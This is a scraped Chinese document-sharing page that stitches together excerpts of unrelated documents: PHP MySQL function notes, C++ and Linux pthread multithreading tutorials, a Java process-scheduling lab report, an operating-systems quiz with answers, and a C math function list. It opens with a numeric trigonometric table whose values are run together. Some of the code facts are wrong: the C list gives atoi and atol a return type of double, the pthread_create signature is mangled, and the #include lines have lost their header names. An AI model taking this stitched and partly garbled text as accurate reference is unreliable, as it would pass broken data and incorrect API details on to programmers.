6.30.10970.99400.11049.0579 2.40.04190.99910.041923.8593 6.40.11150.99380.11228.9152 2.50.04360.99900.043722.9038 6.50.11320.99360.11398.7769 2.60.04540.99900.045422.0217 6.60.11490.99340.11578.6427 2.70.04710.99890.047221.2049 6.70.11670.99320.11758.5126 2.80.04880.99880.048920.4465 6.80.11840.99300.11928.3863 2.90.05060.99870.050719.7403 6.90.12010.99280.12108.2636 30.05230.99860.052419.081170.12190.99250.12288.1443 3.10.05410.99850.054218.46457.10.12360.99230.12468.0285 3.20.05580.99840.055917.88637.20.12530.99210.12637.9158 3.30.05760.99830.057717.34327.30.12710.99190.12817.8062 3.40.05930.99820.059416.83197.40.12880.99170.12997.6996 3.50.06100.99810.061216.34997.50.13050.99140.13177.5958 3.60.06280.99800.062915.89457.60.13230.99120.13347.4947 3.70.06450.99790.064715.46387.70.13400.99100.13527.3962 3.80.06630.99780.066415.05577.80.13570.99070.13707.3002 3.90.06800.99770.068214.66857.90.13740.99050.13887.2066 40.06980.99760.069914.300780.13920.99030.14057.1154

常用函数大全

常用函数大全 mysql_affected_rows
mysql_affected_rows — 取得前一次 MySQL 操作所影响的记录行数 mysql_fetch_array —从结果集中取得一行作为关联数组或数字数组或二者兼 有:
mysql_fetch_array($result, MYSQL_NUM) , MYSQL_NUM 可用 MYSQL_BOTH 或
MYSQL_ASSOC 代替,也可以不写,默认为 MYSQL_BOTH
mysql_fetch_row — 从结果集中取得一行作为枚举数组: mysql_fetch_row($result); mysql_fetch_assoc($result)
mysql_fetch_row()从和指定的结果标识关联的结果集中取得一行数据并作为数组返回。每个结果 的列储存在一个数组的单元中,偏移量从 0 开始。 依次调用 mysql_fetch_row()将返回结果集中的下一行,如果没有更多行则返回 FALSE。 mysql_fetch_assoc — 从结果集中取得一行作为关联数组 :
mysql_fetch_assoc() 和用 mysql_fetch_array() 加上第二个可选参数 MYSQL_ASSOC 完全相同。它 仅仅返回关联数组。这也是 mysql_fetch_array()起初始的工作方式。如果在关联索引之外还需要数字 索引,用 mysql_fetch_array()。 如果结果中的两个或以上的列具有相同字段名,最后一列将优先。要访问同名的其它列,要么用 mysql_fetch_row()来取得数字索引或给该列起个别名。参见 mysql_fetch_array() 例子中有关别名说 明。 有一点很重要必须指出,用 mysql_fetch_assoc()并不明显 比用 mysql_fetch_row()慢,而且还提供了 明显更多的值。
mysql_query()
仅对 SELECT,SHOW,EXPLAIN 或 DESCRIBE 语句返回一个资源标识符,
如果查询执行不正确则返回 FALSE。对于其它类型的 SQL 语句,mysql_query()在执行成功时返回 TRUE,出错时返回 FALSE。非 FALSE 的返回值意味着查询是合法的并能够被服务器执行。这并不说明 任何有关影响到的或返回的行数。 很有可能一条查询执行成功了但并未影响到或并未返回任何行。

C++多线程编程入门及范例详解

多线程编程之一——问题提出 一、问题的提出 编写一个耗时的单线程程序: 新建一个基于对话框的应用程序SingleThread,在主对话框IDD_SINGLETHREAD_DIALOG 添加一个按钮,ID为IDC_SLEEP_SIX_SECOND,标题为“延时6秒”,添加按钮的响应函数,代码如下: 1.void CSingleThreadDlg::OnSleepSixSecond() 2.{ 3.Sleep(6000);//延时6秒 4.} 编译并运行应用程序,单击“延时6秒”按钮,你就会发现在这6秒期间程序就象“死机”一样,不在响应其它消息。为了更好地处理这种耗时的操作,我们有必要学习——多线程编程。 二、多线程概述 进程和线程都是操作系统的概念。进程是应用程序的执行实例,每个进程是由私有的虚拟地址空间、代码、数据和其它各种系统资源组成,进程在运行过程中创建的资源随着进程的终止而被销毁,所使用的系统资源在进程终止时被释放或关闭。 线程是进程内部的一个执行单元。系统创建好进程后,实际上就启动执行了该进程的主执行线程,主执行线程以函数地址形式,比如说main或WinMain函数,将程序的启动点提供给Windows 系统。主执行线程终止了,进程也就随之终止。 每一个进程至少有一个主执行线程,它无需由用户去主动创建,是由系统自动创建的。用户根据需要在应用程序中创建其它线程,多个线程并发地运行于同一个进程中。一个进程中的所有线程都在该进程的虚拟地址空间中,共同使用这些虚拟地址空间、全局变量和系统资源,所以线程间的通讯非常方便,多线程技术的应用也较为广泛。 多线程可以实现并行处理,避免了某项任务长时间占用CPU时间。要说明的一点是,目前大多数的计算机都是单处理器(CPU)的,为了运行所有这些线程,操作系统为每个独立线程安排一些CPU时间,操作系统以轮换方式向线程提供时间片,这就给人一种假象,好象这些线程都在同时运行。由此可见,如果两个非常活跃的线程为了抢夺对CPU的控制权,在线程切换时会消耗很多的CPU资源,反而会降低系统的性能。这一点在多线程编程时应该注意。 Win32SDK函数支持进行多线程的程序设计,并提供了操作系统原理中的各种同步、互斥和临界区等操作。Visual C++6.0中,使用MFC类库也实现了多线程的程序设计,使得多线程编程更加方便。 三、Win32API对多线程编程的支持 Win32提供了一系列的API函数来完成线程的创建、挂起、恢复、终结以及通信等工作。下面将选取其中的一些重要函数进行说明。

java多线程实现调度

重庆交通大学综合性设计性实验报告 实验项目名称:进程调度(先来先服务) 实验项目性质: JAVA多线程 实验所属课程: JAVA程序设计 实验室(中心):语音大楼 8 楼 801 班级:软件专业 2012级2班 姓名:尚亚* 学号: 631206050216 指导教师:杨 实验完成时间: 2014 年 11 月 25 日

一、实验目的 1、理解程序、线程和进程的概念; 2、理解多线程的概念; 3、掌握线程的各种状态; 4、熟练使用Thread类创建线程; 5、熟练使用线程各种方法; 6、掌握线程的调度及线程同步的实现原理。 二、实验内容及要求 进程调度是处理机管理的核心内容。本实验要求采用最高优先数优先的调度算法(即把处理机分配给优先数最高的进程)和先来先服务算法编写和调试一个简单的进程调度程序。通过本实验可以加深理解有关进程控制块、进程队列的概念。并体会了优先数和先来先服务调度算法的具体实施办法。 用JA V A语言编写和调试一个进程调度程序,以加深对进程的概念及进程调度算法的理解。做一个能够直观体现多个进程时,CPU 是怎样调度就绪队列中的进程(按照先来先服务的原则)。

三、实验设备 PC机,windows7,eclipse。 四、设计方案 ㈠设计主要思想 (1)要模拟进程的调度算法,必须先体现处进程及系统资源。 (2)要体现先来先服务的算法,就必须表现出当有一个进程进入CPU时其他进程不能进入,并在就绪队列中排队。本实验建立了四个圆移动的线程表示作业调度,用圆在表示就绪队列的方框中停留表示进程在就绪队列中排队。 (3)当有一个圆移动到表示CPU的范围内时,让其它线程在就绪队列中排队,当CPU内无进程时,先来的圆先移动,以表示CPU 对进程的调度。 ㈡设计的主要步骤 (1)建立四个不同颜色的圆移动的线程,表示对四个进程的调度。 (2)当有一个表示进程的圆到达表示CPU范围内时,通过让其它几个圆停留在表示就绪队列的方框范围内,表示进程在就绪队列中排成队列。 (3)当第一个先到达的进程释放CPU,在排成队列的几个圆中选择先到达的圆,使其移动表示对先来的进程进行调度,直到所有的圆移动完毕。 五、主要代码 import java.awt.Font; import java.awt.event.*;

操作系统第二章进程和线程复习题.doc

第二章练习题 一、单项选择题 1.某进程在运行过程中需要等待从磁盘上读入数据,此时该进程的状态将( C )。 A. 从就绪变为运行;B.从运行变为就绪;C.从运行变为阻塞;D.从阻塞变为就绪2.进程控制块是描述进程状态和特性的数据结构,一个进程( D )。 可以有多个进程控制块; 可以和其他进程共用一个进程控制块; 可以没有进程控制块; 只能有惟一的进程控制块。 3.临界区是指并发进程中访问共享变量的(D)段。 A、管理信息 B、信息存储 C、数据 D、程序 4.当 __ B __时,进程从执行状态转变为就绪状态。 A. 进程被调度程序选中 B. 时间片到 C. 等待某一事件 D. 等待的事件发生 5.信箱通信是一种( B )通信方式。 A. 直接通信 B. 高级通信 C. 低级通信 D. 信号量 6. 原语是( B )。

A、一条机器指令 B、若干条机器指令组成 C、一条特定指令 D、中途能打断的指令 7.进程和程序的一个本质区别是(A )。A.前 者为动态的,后者为静态的;B.前者存储在 内存,后者存储在外存;C.前者在一个文件 中,后者在多个文件中;D.前者分时使用 CPU,后者独占 CPU。 8.任何两个并发进程之间存在着( D)的关系。 A.各自完全独立B.拥有共享变量 C.必须互斥D.可能相互制约 9.进程从运行态变为等待态可能由于(B )。 A.执行了 V 操作B.执行了 P 操作 C.时间片用完D.有高优先级进程就绪 10.用 PV 操作管理互斥使用的资源时,信号量的初值应定义为( B)。 A.任意整数B.1C.0D. -1 11.现有 n 个具有相关临界区的并发进程,如果某进程调用 P 操作后变为等待状态,则调用 P 操作时信号量的值必定为(A)。 A.≤0B. 1C. n-1D.n 12. 用 PV 操作管理临界区时把信号量的初值定义为1,现已有一个进程在临界区,但有 n 个进程在等待进入临界区,这时信号量的值为( C )。

c++常用函数大全

数学函数,所在函数库为math.h、stdlib.h、string.h、float.h int abs(int i) 返回整型参数i的绝对值 double cabs(struct complex znum) 返回复数znum的绝对值 double fabs(double x) 返回双精度参数x的绝对值 long labs(long n) 返回长整型参数n的绝对值 double exp(double x) 返回指数函数ex的值 double frexp(double value,int *eptr) 返回value=x*2n中x的值,n存贮在eptr中double ldexp(double value,int exp); 返回value*2exp的值 double log(double x) 返回logex的值 double log10(double x) 返回log10x的值 double pow(double x,double y) 返回xy的值 double pow10(int p) 返回10p的值 double sqrt(double x) 返回+√x的值 double acos(double x) 返回x的反余弦cos-1(x)值,x为弧度 double asin(double x) 返回x的反正弦sin-1(x)值,x为弧度 double atan(double x) 返回x的反正切tan-1(x)值,x为弧度 double atan2(double y,double x) 返回y/x的反正切tan-1(x)值,y的x为弧度double cos(double x) 返回x的余弦cos(x)值,x为弧度 double sin(double x) 返回x的正弦sin(x)值,x为弧度 double tan(double x) 返回x的正切tan(x)值,x为弧度 double cosh(double x) 返回x的双曲余弦cosh(x)值,x为弧度 double sinh(double x) 返回x的双曲正弦sinh(x)值,x为弧度 double tanh(double x) 返回x的双曲正切tanh(x)值,x为弧度 double hypot(double x,double y) 返回直角三角形斜边的长度(z), x和y为直角边的长度,z2=x2+y2 double ceil(double x) 返回不小于x的最小整数 double floor(double x) 返回不大于x的最大整数 void srand(unsigned seed) 初始化随机数发生器 int rand() 产生一个随机数并返回这个数 double poly(double x,int n,double c[])从参数产生一个多项式 double modf(double value,double *iptr)将双精度数value分解成尾数和阶 double fmod(double x,double y) 返回x/y的余数 double frexp(double value,int *eptr) 将双精度数value分成尾数和阶 double atof(char *nptr) 将字符串nptr转换成浮点数并返回这个浮点数 double atoi(char *nptr) 将字符串nptr转换成整数并返回这个整数 double atol(char *nptr) 将字符串nptr转换成长整数并返回这个整数 char *ecvt(double value,int ndigit,int *decpt,int *sign) 将浮点数value转换成字符串并返回该字符串

linux下的多线程编程常用函数

Linux下pthread的实现是通过系统调用clone()来实现的。clone()是Linux所特 有的系统调用,他的使用方式类似fork. int pthread_create(pthread_t *restrict tidp,const pthread_attr_t *restrict attr, void *(*start_rtn)(void),void *restrict arg); 返回值:若是成功建立线程返回0,否则返回错误的编号 形式参数: pthread_t *restrict tidp 要创建的线程的线程id指针 const pthread_attr_t *restrict attr 创建线程时的线程属性 void* (start_rtn)(void) 返回值是void类型的指针函数 void *restrict arg start_rtn的行参 进行编译的时候要加上-lpthread 向线程传递参数。 例程2: 功能:向新的线程传递整形值 #include #include #include void *create(void *arg) { int *num; num=(int *)arg; printf("create parameter is %d \n",*num); return (void *)0; } int main(int argc ,char *argv[]) { pthread_t tidp; int error; int test=4; int *attr=&test; error=pthread_create(&tidp,NULL,create,(void *)attr); if(error) { printf("pthread_create is created is not created ... \n"); return -1; } sleep(1); printf("pthread_create is created ...\n");

实验六 线程的创建与调度

实验六线程的创建与调度 一、实验目的 1、线程是操作系统中最重要的概念之一。现代操作系统为了增加程序的并发度,减少进程转换中系统的时空开销,几乎都引入了线程。线程,也叫轻量级进程,引入线程后,仍以进程为单位分配系统资源,但处理机却是以线程为单位进行指派。 通过该实验,让学生体会线程的存在,了解线程与进程的关系,学习线程的创建与终止方法。 二、实验预习 1、什么是线程?为什么要建立线程?一个线程一般有几种不同的状态? 答:线程具有许多传统进程所具有的特征,所以又称为轻型进程或进程元,作为调度和分派的基本单位。 建立线程的目的是为了使多个程序能够并发执行,以提高资源利用率和系统吞吐量。 线程在运行时具有三种基本状态:执行状态,表示线程已获得处理机而正在运行; 就绪状态,表示线程已具备了各种执行条件,只须再获得CPU便可立即执行; 阻塞状态,表示线程在执行中因某事件受阻而处于暂停状态。 2、线程的实现方式有哪几种?操作系统是根据什么来感知线程的存在的? 答:线程的实现方式有用户级线程和内核支持线程以及实现了这两种类型的线程三种。 内核支持线程(KST):又称为内核级线程(KIT),在OS中的所有进程,无论是系统进程还是用户进程,都是在操作系统内核的支持下运行的,是和内核紧密相关的。当前大多数OS 都支持内核支持线程。 用户级线程(ULT):用户级线程是和内核无关的,对于设置了用户级线程的系统,其调度仍是以进程为单位进行的。用户级线程的主要缺点有系统调用的阻塞问题和进程中仅有一个线程能够执行。 组合方式:在组合方式线程系统中,内核支持多个内核支持线程的建立、调度和管理,同时,也允许用户应用程序建立、调度和管理用户级线程。 操作系统是根据线程控制块(TCB)来感知线程的存在的。 三、实验内容和要求 实验要求:写出实验过程和实验结果,给出实验结论。 实验内容: 1.通过SPY++工具来查看系统中的进程和线程;查看进程和线程的关系以及它们的优先级等信息。

相关主题